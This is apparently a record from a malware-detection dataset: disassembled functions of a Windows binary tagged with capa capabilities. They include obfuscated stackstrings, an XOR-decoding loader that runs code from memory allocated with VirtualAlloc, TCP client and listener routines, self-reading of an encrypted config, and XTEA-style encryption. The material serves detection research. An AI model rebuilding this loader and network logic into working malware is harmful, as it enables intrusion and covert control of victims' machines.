joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4c5bd1
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push 0xc
push 0
lea eax, [ebp - 0x14]
push eax
call fcn.004a51c9
add esp, 0xc
cmc
add edi, 0
jns 0x4c5c05
pushf
cmp edx, dword [esp + 0x10]
and esp, 0xffffffff
shl edx, 0
popf
jge 0x4c5c00
jle 0x4c5c02
js 0x4c5c05
mov esp, 0x47ec45c6
mov byte [ebp - 0x14], 0x47
mov byte [ebp - 0x13], 0x73
mov byte [ebp - 0x12], 0x66
mov byte [ebp - 0x11], 0x66
mov byte [ebp - 0x10], 0x4d
mov byte [ebp - 0xf], 0x6a
mov byte [ebp - 0xe], 0x63
mov byte [ebp - 0xd], 0x73
mov byte [ebp - 0xc], 0x62
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x7a
mov byte [ebp - 9], 0
jl 0x4c5c37
test dword [esp], eax
add esi, dword [esp]
sub esi, dword [esp]
jbe 0x4c5c4e
jno 0x4c5c44
jns 0x4c5c46
jae 0x4c5c48
je 0x4c5c4a
ja 0x4c5c4e
ljmp 0xe980:0xec4d8abd
mov cl, byte [ebp - 0x14]
sub cl, 1
mov byte [ebp - 0x14], cl
mov dl, byte [ebp - 0xf]
sub dl, 1
mov byte [ebp - 0xf], dl
mov al, byte [ebp - 0xa]
sub al, 1
mov byte [ebp - 0xa], al
mov cl, byte [ebp - 0x13]
sub cl, 1
mov byte [ebp - 0x13], cl
mov dl, byte [ebp - 0xe]
sub dl, 1
mov byte [ebp - 0xe], dl
mov al, byte [ebp - 0x12]
sub al, 1
mov byte [ebp - 0x12], al
mov cl, byte [ebp - 0xd]
sub cl, 1
mov byte [ebp - 0xd], cl
mov dl, byte [ebp - 0x11]
sub dl, 1
mov byte [ebp - 0x11], dl
mov al, byte [ebp - 0xc]
sub al, 1
mov byte [ebp - 0xc], al
mov cl, byte [ebp - 0x10]
sub cl, 1
mov byte [ebp - 0x10], cl
mov dl, byte [ebp - 0xb]
sub dl, 1
mov byte [ebp - 0xb], dl
mov edi, edi
jl 0x4c5cb2
je 0x4c5cc7
pushf
rol ecx, 4
rol ecx, 0x1c
popf
xchg esp, esp
jl 0x4c5cc2
jge 0x4c5cc4
jne 0x4c5cc7
mov edi, 0xfdffeee8
dec dword [ecx + 0x7d83f845]
clc
add byte [ebp + 7], dh
call fcn.004a5cba
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4c5cdc
xor eax, eax
jmp 0x4c5d5c
std
cld
jns 0x4c5ce9
js 0x4c5ce2
xchg edx, edx
nop
js 0x4c5ce9
ljmp 0x8b50:0xec458d0e
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.004bcc60
mov dword [ebp - 4], eax
push 0xc
push 0
lea edx, [ebp - 0x14]
push edx
call fcn.004a51c9
add esp, 0xc
cmp dword [ebp - 4], 0
je 0x4c5d46
shl edi, 0
mov ebx, ebx
jno 0x4c5d1d
jne 0x4c5d18
nop
jo 0x4c5d1d
mov eax, 0xfc458b9e
mov eax, dword [ebp - 4]
push eax
call fcn.004ba301
add esp, 4
test edx, 0x2bfe
je 0x4c5d31
jne 0x4c5d3d
jg 0x4c5d35
jno 0x4c5d37
lea eax, [eax]
je 0x4c5d3d
sub eax, 0x84d8bc4
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 4]
jmp 0x4c5d5c
cmp eax, dword [esp + 0x10]
ror edi, 3
rol edi, 3
jp 0x4c5d5a
nop
je 0x4c5d55
lea esi, [esi]
jnp 0x4c5d5a
add eax, 0x5e5fc033
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4c7db5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 4], 0
push 0xc
push 0
lea eax, [ebp - 0x10]
push eax
call fcn.004a51c9
add esp, 0xc
shr edi, 0
jns 0x4c7dda
jp 0x4c7de7
jbe 0x4c7dde
jnp 0x4c7de0
jp 0x4c7de2
xchg esp, esp
jnp 0x4c7de7
mov ecx, 0x4ef045c6
mov byte [ebp - 0x10], 0x4e
mov byte [ebp - 0xb], 0x68
mov byte [ebp - 0xf], 0x66
mov byte [ebp - 0xa], 0x66
mov byte [ebp - 0xe], 0x74
mov byte [ebp - 9], 0x43
mov byte [ebp - 0xd], 0x74
mov byte [ebp - 8], 0x70
mov byte [ebp - 0xc], 0x62
mov byte [ebp - 7], 0x79
mov byte [ebp - 6], 0x42
mov byte [ebp - 5], 0
lea ecx, [ecx + 0xc9a]
lea ecx, [ecx - 0xc9a]
mov esp, esp
jp 0x4c7e31
jle 0x4c7e29
jnp 0x4c7e2b
jl 0x4c7e2d
jnp 0x4c7e31
ljmp 0xe980:0xf04d8ac8
mov cl, byte [ebp - 0x10]
sub cl, 1
mov byte [ebp - 0x10], cl
mov dl, byte [ebp - 0xb]
sub dl, 1
mov byte [ebp - 0xb], dl
mov al, byte [ebp - 0xf]
sub al, 1
mov byte [ebp - 0xf], al
mov cl, byte [ebp - 0xa]
sub cl, 1
mov byte [ebp - 0xa], cl
mov dl, byte [ebp - 0xe]
sub dl, 1
mov byte [ebp - 0xe], dl
mov al, byte [ebp - 9]
sub al, 1
mov byte [ebp - 9], al
mov cl, byte [ebp - 0xd]
sub cl, 1
mov byte [ebp - 0xd], cl
mov dl, byte [ebp - 8]
sub dl, 1
mov byte [ebp - 8], dl
mov al, byte [ebp - 0xc]
sub al, 1
mov byte [ebp - 0xc], al
mov cl, byte [ebp - 7]
sub cl, 1
mov byte [ebp - 7], cl
mov dl, byte [ebp - 6]
sub dl, 1
mov byte [ebp - 6], dl
lea edi, [edi + 0x7044]
sub edi, 0x7044
clc
test dword [esp + 0x10], edx
xor edx, esi
xor edx, esi
je 0x4c7eb7
pushf
add edx, dword [esp]
sub edx, dword [esp]
popf
lea eax, [eax]
jne 0x4c7eb7
add eax, 0xfdbb40e8
dec dword [ecx + 0x7d83fc45]
cld
add byte [ebp + 4], dh
call fcn.004a39fc
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4c7ec9
xor eax, eax
jmp 0x4c7f08
lea ecx, [ecx]
jle 0x4c7ee5
pushf
shr esi, 0
popf
lea edx, [edx + 0x3104]
lea edx, [edx - 0x3104]
mov esp, esp
jg 0x4c7ee5
add eax, 0x50f0458d
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.004bcc60
mov dword [ebp - 0x14], eax
push 0xc
push 0
lea edx, [ebp - 0x10]
push edx
call fcn.004a51c9
add esp, 0xc
mov eax, dword [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40c20d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x40c21c
pop dword [ebp - 0x30]
mov eax, 0xdd33b878
sub eax, 0xdcf2f65c
sub dword [ebp - 0x30], eax
push 0x40
push 0x1000
push 0x3c6c2
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x30]
call dword [eax]
mov ecx, 0x4291
xor edi, edi
add edi, eax
mov ebx, 0x73adad04
sub ebx, 0x736a5904
add ebx, dword [ebp - 0x30]
mov edx, 0x103cdde2
add edx, 0x5a469d82
xor dword [ebp - 0x20], edi
mov esi, dword [ebx]
xor esi, edx
xor dword [ebp - 4], 0x2f409262
mov dword [edi], esi
sub dword [ebp - 0x24], 0x855f74fc
add edi, 0xad2e6d73
add edi, 0x52d19291
add ebx, 0x8fbf5ed3
add ebx, 0x7040a131
loop 0x40c272
add eax, 0xfd17
mov ebx, eax
add eax, 0x1f278975
sub eax, 0x1f278970
mov ecx, 0xa4252d4b
add ecx, 0x5c1ad2b5
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x40102c
Capabilities:
Create tcp socket
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push edi
xor edi, edi
push 0x10
lea eax, [ebp - 0x14]
push edi
mov esi, ecx
push eax
mov dword [ebp - 4], edi
call sub.MSVCRT.dll_memset
add esp, 0xc
mov word [ebp - 0x14], 2
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_htons]
push 6
push 1
push 2
mov word [ebp - 0x12], ax
mov dword [ebp - 0x10], edi
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 4], eax
jne 0x40108f
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push 0x404074
push 0x40406c
call fcn.00401598
add esp, 0xc
jmp 0x4010e4
lea ecx, [ebp - 0x14]
push 0x10
push ecx
push eax
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x4010af
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push 0x404048
jmp 0x4010ce
push bind
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x4010e8
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push 0x404020
push 0x40406c
call fcn.00401598
add esp, 0xc
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x401107
lea eax, [ebp - 4]
push eax
push edi
push esi
push 0x40110d
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 1
pop eax
pop edi
pop esi
leave
ret 4

Function at 0x40131e
Capabilities:
Clear file content
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push ebx
xor ebx, ebx
push esi
cmp eax, ebx
je 0x4013b3
cmp byte [eax], bl
je 0x4013b3
cmp dword [ebp + 0xc], ebx
je 0x4013b3
cmp dword [ebp + 0x10], ebx
jbe 0x4013b3
push ebx
push 0x80
push 4
push ebx
push 1
push 0xc0000000
push eax
mov dword [ebp + 8], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
or eax, 0xffffffff
cmp esi, eax
je 0x4013b6
push 2
push ebx
push ebx
push esi
call dword [0x4047e8]
cmp dword [ebp + 0x14], ebx
jbe 0x401387
cmp eax, dword [ebp + 0x14]
jbe 0x401387
push ebx
push ebx
push ebx
push esi
call dword [0x4047e8]
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
lea eax, [ebp + 8]
push ebx
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp esi, ebx
je 0x4013ae
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
push 0x64
call dword [sym.imp.KERNEL32.dll_SleepEx]
mov eax, dword [ebp + 8]
jmp 0x4013b6
or eax, 0xffffffff
pop esi
pop ebx
pop ebp
ret

Function at 0x4013ba
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
xor eax, eax
cmp ecx, eax
je 0x4013dc
cmp dword [ebp + 0xc], eax
jbe 0x4013dc
mov dl, byte [ebp + 0x10]
xor byte [eax + ecx], dl
inc eax
cmp eax, dword [ebp + 0xc]
jb 0x4013cb
push 1
pop eax
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x4016a9
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ebx, dword [edi + 0x3c]
movzx eax, word [ebx + edi + 6]
lea esi, [ebx + edi]
shl eax, 2
push eax
lea eax, [ebp - 0x100]
push 0
push eax
call sub.MSVCRT.dll_memset
xor ecx, ecx
add esp, 0xc
cmp word [esi + 6], cx
jbe 0x4016fe
lea ebx, [ebx + edi + 0xf8]
lea eax, [ebp - 0x100]
mov dword [eax], ebx
add ebx, 0x28
movzx edx, word [esi + 6]
inc ecx
add eax, 4
cmp ecx, edx
jb 0x4016ed
mov esi, dword [esi + 0x78]
xor ebx, ebx
add esi, edi
cmp dword [esi + 0x18], ebx
jbe 0x401729
mov eax, dword [esi + 0x20]
push dword [ebp + 0xc]
lea eax, [eax + ebx*4]
mov eax, dword [eax + edi]
add eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x401730
inc ebx
cmp ebx, dword [esi + 0x18]
jb 0x40170a
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov eax, dword [esi + 0x24]
mov ecx, dword [esi + 0x1c]
lea eax, [eax + ebx*2]
movzx eax, word [eax + edi]
lea eax, [ecx + eax*4]
mov eax, dword [eax + edi]
add eax, edi
jmp 0x40172b

Function at 0x401815
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
cmp dword [ebp + 0x14], ecx
jne 0x401834
cmp dword [ebp + 0xc], ecx
jle 0x401849
mov eax, dword [ebp + 8]
add eax, ecx
xor byte [eax], 0x32
inc ecx
cmp ecx, dword [ebp + 0xc]
jl 0x401824
pop ebp
ret
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff0
push eax
push dword [ebp + 8]
push dword [ebp + 0x10]
call fcn.004027c3
add esp, 0xc
pop ebp
ret

Function at 0x40184b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
cmp dword [ebp + 0x14], ecx
jne 0x40186a
cmp dword [ebp + 0xc], ecx
jle 0x40187f
mov eax, dword [ebp + 8]
add eax, ecx
xor byte [eax], 0x32
inc ecx
cmp ecx, dword [ebp + 0xc]
jl 0x40185a
pop ebp
ret
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff0
push eax
push dword [ebp + 8]
push dword [ebp + 0x10]
call fcn.0040279b
add esp, 0xc
pop ebp
ret
Function at 0x401b72
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
and word [ebp - 0x190], 0
push edi
push 0x63
xor eax, eax
pop ecx
lea edi, [ebp - 0x18e]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x190]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
pop edi
je 0x401bc5
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push 0x404188
push 0x40406c
call fcn.00401598
add esp, 0xc
jmp 0x401bf0
cmp byte [ebp - 0x190], 2
jne 0x401bdf
xor eax, eax
mov al, byte [ebp - 0x18f]
cmp al, 2
jne 0x401bdf
push 1
pop eax
leave
ret
push 0x404174
call fcn.00401598
pop ecx
call dword [sym.imp.WS2_32.dll_WSACleanup]
or eax, 0xffffffff
leave
ret

Function at 0x401c9c
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x10b]
mov byte [ebp - 0x10c], bl
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x10c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x401d5c
push ebx
push 0x80
push 3
push ebx
push 1
lea eax, [ebp - 0x10c]
push bind
push eax
call dword [0x4047f0]
mov esi, eax
cmp esi, 0xffffffff
mov dword [ebp - 4], esi
je 0x401d5c
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push ebx
add eax, 0xffffff44
push ebx
push eax
push esi
call dword [0x4047e8]
cmp eax, 0xffffffff
jne 0x401d29
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x401d79
mov esi, 0xbc
mov edi, 0x404828
push esi
push ebx
push edi
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 8]
push ebx
push eax
push esi
push edi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 8], esi
je 0x401d61
or eax, 0xffffffff
jmp 0x401d79
push 1
push edi
push 0xac
push 0x404838
call fcn.00401815
add esp, 0x10
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x401f42
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
push edi
lea eax, [ebp - 0x104]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x104]
push 0x4041e0
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push dword [ebp + 0xc]
mov edi, dword [ebp + 8]
xor ebx, ebx
push ebx
push edi
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x104]
push ebx
push ebx
push 3
push ebx
push 2
push bind
push eax
call dword [0x4047f0]
mov esi, eax
cmp esi, 0xffffffff
je 0x401fde
lea eax, [ebp + 8]
push ebx
push eax
mov dword [ebp + 8], ebx
push dword [ebp + 0xc]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 8]
mov cl, byte [eax + edi - 1]
dec eax
cmp cl, 0xd
je 0x401fd0
cmp cl, 0xa
jne 0x401fd9
cmp eax, ebx
jl 0x401fd9
mov byte [eax + edi], bl
jmp 0x401fc1
push 1
pop eax
jmp 0x401fe0
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4021b1
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
push edi
lea eax, [ebp - 0x108]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x108]
push 0x4041e0
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x108]
push 0x404234
push eax
call sub.MSVCRT.dll_fopen
xor esi, esi
pop ecx
cmp eax, esi
pop ecx
jne 0x402241
push esi
push esi
push 4
push esi
push 2
lea eax, [ebp - 0x108]
push 0x40000000
push eax
call dword [0x4047f0]
mov edi, eax
cmp edi, 0xffffffff
je 0x402248
lea eax, [ebp - 4]
push esi
push eax
mov dword [ebp - 4], esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
jmp 0x40224a
push eax
call sub.MSVCRT.dll_fclose
pop ecx
xor eax, eax
pop edi
pop esi
leave
ret

Function at 0x40224e
Capabilities:
Initialize winhttp library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push esi
push edi
xor esi, esi
push 0x18
lea eax, [ebp - 0x2c]
push esi
push eax
mov dword [ebp - 4], esi
call sub.MSVCRT.dll_memset
push 0xc
lea eax, [ebp - 0x14]
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
push esi
push esi
push esi
push 1
pop edi
push edi
push 0x4042cc
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
cmp eax, esi
mov dword [ebp - 8], eax
jne 0x4022a6
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x4042b0
call fcn.00401598
pop ecx
xor eax, eax
pop ecx
jmp 0x40231c
lea ecx, [ebp - 0x14]
push ebx
mov ebx, dword [ebp + 8]
push ecx
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x2c], 2
push ecx
push 0x40427c
push eax
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x18], edi
call dword [sym.imp.WINHTTP.dll_WinHttpGetProxyForUrl]
test eax, eax
je 0x4022e9
push esi
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 4], edi
jmp 0x40230f
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0x2ee6
jne 0x402300
push ebx
push 0x404260
jmp 0x402308
call esi
push eax
push 0x404238
call fcn.00401598
pop ecx
pop ecx
push dword [ebp - 8]
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov eax, dword [ebp - 4]
pop ebx
pop edi
pop esi
leave
ret
Function at 0x402395
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
sub esp, 0x14
or dword [esp], 0xffffffff
push ebx
push ebp
push esi
push edi
xor ebp, ebp
push 0x10
lea eax, [esp + 0x18]
push ebp
mov esi, ecx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp dword [0x404800], ebp
mov word [esp + 0x14], 2
jle 0x402476
mov ebx, 0x404804
mov edi, 0x40481c
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 4], eax
je 0x402450
mov ax, word [edi]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x16], ax
mov eax, dword [ebx]
mov dword [esp + 0x18], eax
lea eax, [esp + 0x14]
push 0x10
push eax
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40246e
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x274d
je 0x402437
cmp eax, 0x2751
je 0x402437
push eax
push 0x40431c
push 0x40406c
call fcn.00401598
add esp, 0xc
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_closesocket]
inc ebp
inc edi
inc edi
add ebx, 4
cmp ebp, dword [0x404800]
jl 0x4023d2
jmp 0x402476
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push 0x4042f0
push 0x40406c
call fcn.00401598
add esp, 0xc
or eax, 0xffffffff
jmp 0x40247a
mov dword [esp + 0x10], 1
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret

Function at 0x402482
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
and byte [ebp - 0x12c], 0
push ebx
push esi
push edi
mov ebx, ecx
push 0x4a
pop ecx
xor eax, eax
lea edi, [ebp - 0x12b]
push 1
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [ebp + 8]
mov ecx, ebx
mov eax, edi
shl eax, 6
add eax, 0x40483a
push eax
call fcn.00402634
mov ecx, edi
push eax
shl ecx, 4
lea esi, [ecx + 0x4048ba]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push esi
call sub.MSVCRT.dll_strcpy
push esi
call sub.MSVCRT.dll_strlen
add esp, 0xc
test eax, eax
je 0x40255a
push 0x4043c8
push esi
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x40255a
movzx eax, word [edi*2 + 0x4048da]
push eax
push esi
lea eax, [ebp - 0x12c]
push 0x404354
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x12c]
push eax
call sub.MSVCRT.dll_strlen
add esp, 0x14
push 0
push eax
lea eax, [ebp - 0x12c]
push eax
push dword [ebx + 4]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x40255f
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push 0x404330
push 0x40406c
call fcn.00401598
add esp, 0xc
push dword [ebx + 4]
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
jmp 0x402562
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x402569
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x650
and byte [ebp - 0x650], 0
mov edx, ecx
push edi
mov ecx, 0x18f
xor eax, eax
lea edi, [ebp - 0x64f]
rep stosd dword es:[edi], eax
and byte [ebp - 0x10], 0
push 0
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
lea edi, [ebp - 0xf]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x650]
push 0x640
push eax
push dword [edx + 4]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
pop edi
jg 0x4025be
or eax, 0xffffffff
leave
ret
lea eax, [ebp - 0x650]
push 0x10
push eax
lea eax, [ebp - 0x10]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x10]
push 0x4043d0
push eax
call sub.MSVCRT.dll_strstr
add esp, 0x14
neg eax
sbb eax, eax
and eax, 2
dec eax
leave
ret

Function at 0x4025eb
Capabilities:
Send data
Send data on socket

Disassembly:
push 0
push dword [esp + 0xc]
push dword [esp + 0xc]
push dword [ecx + 4]
call dword [sym.imp.WS2_32.dll_send]
inc eax
neg eax
sbb eax, eax
and eax, 2
dec eax
ret 8

Function at 0x402617
Capabilities:
Receive data
Receive data on socket

Disassembly:
push 0
push dword [esp + 0xc]
push dword [esp + 0xc]
push dword [ecx + 4]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x402631
or eax, 0xffffffff
ret 8

Function at 0x402634
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push esi
push dword [ebp + 8]
mov esi, dword [sym.imp.WS2_32.dll_inet_addr]
call esi
cmp eax, 0xffffffff
je 0x402655
push dword [ebp + 8]
call esi
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
pop esi
jne 0x402682
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x402682
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
cmp dword [eax], 0
je 0x402682
push 4
push eax
lea eax, [ebp - 4]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 4]
leave
ret 8

Function at 0x402689
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov edx, dword [ebp + 0x10]
and dword [ebp - 4], 0
imul edx, edx, 0x9e3779b9
push esi
mov esi, dword [ebp + 0xc]
test edx, edx
mov eax, dword [esi]
mov ecx, dword [esi + 4]
je 0x4026fe
mov esi, dword [ebp + 8]
push ebx
push edi
mov edi, ecx
mov ebx, ecx
sar edi, 5
shl ebx, 4
xor edi, ebx
mov ebx, dword [ebp - 4]
and ebx, 3
add edi, dword [esi + ebx*4]
mov ebx, dword [ebp - 4]
xor ebx, ecx
sub dword [ebp - 4], 0x61c88647
add ebx, eax
lea eax, [ebx + edi]
mov edi, eax
mov ebx, eax
sar edi, 5
shl ebx, 4
xor edi, ebx
mov ebx, dword [ebp - 4]
sar ebx, 0xb
and ebx, 3
add edi, dword [esi + ebx*4]
mov ebx, dword [ebp - 4]
xor ebx, eax
add ebx, ecx
cmp dword [ebp - 4], edx
lea ecx, [ebx + edi]
jne 0x4026ac
mov esi, dword [ebp + 0xc]
pop edi
pop ebx
mov dword [esi], eax
mov dword [esi + 4], ecx
pop esi
leave
ret
Function at 0x402706
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 0xc]
push esi
imul eax, eax, 0x61c88647
mov esi, dword [esp + 0xc]
test eax, eax
mov edx, dword [esi]
mov ecx, dword [esi + 4]
je 0x40276e
mov esi, dword [esp + 8]
push ebx
push edi
mov edi, edx
mov ebx, edx
sar edi, 5
shl ebx, 4
xor edi, ebx
mov ebx, eax
sar ebx, 0xb
and ebx, 3
add edi, dword [esi + ebx*4]
mov ebx, eax
xor ebx, edx
add eax, 0x61c88647
add edi, ebx
sub ecx, edi
mov edi, ecx
mov ebx, ecx
sar edi, 5
shl ebx, 4
xor edi, ebx
mov ebx, eax
and ebx, 3
add edi, dword [esi + ebx*4]
mov ebx, eax
xor ebx, ecx
add edi, ebx
sub edx, edi
test eax, eax
jne 0x402724
mov esi, dword [esp + 0x14]
pop edi
pop ebx
mov dword [esi], edx
mov dword [esi + 4], ecx
pop esi
ret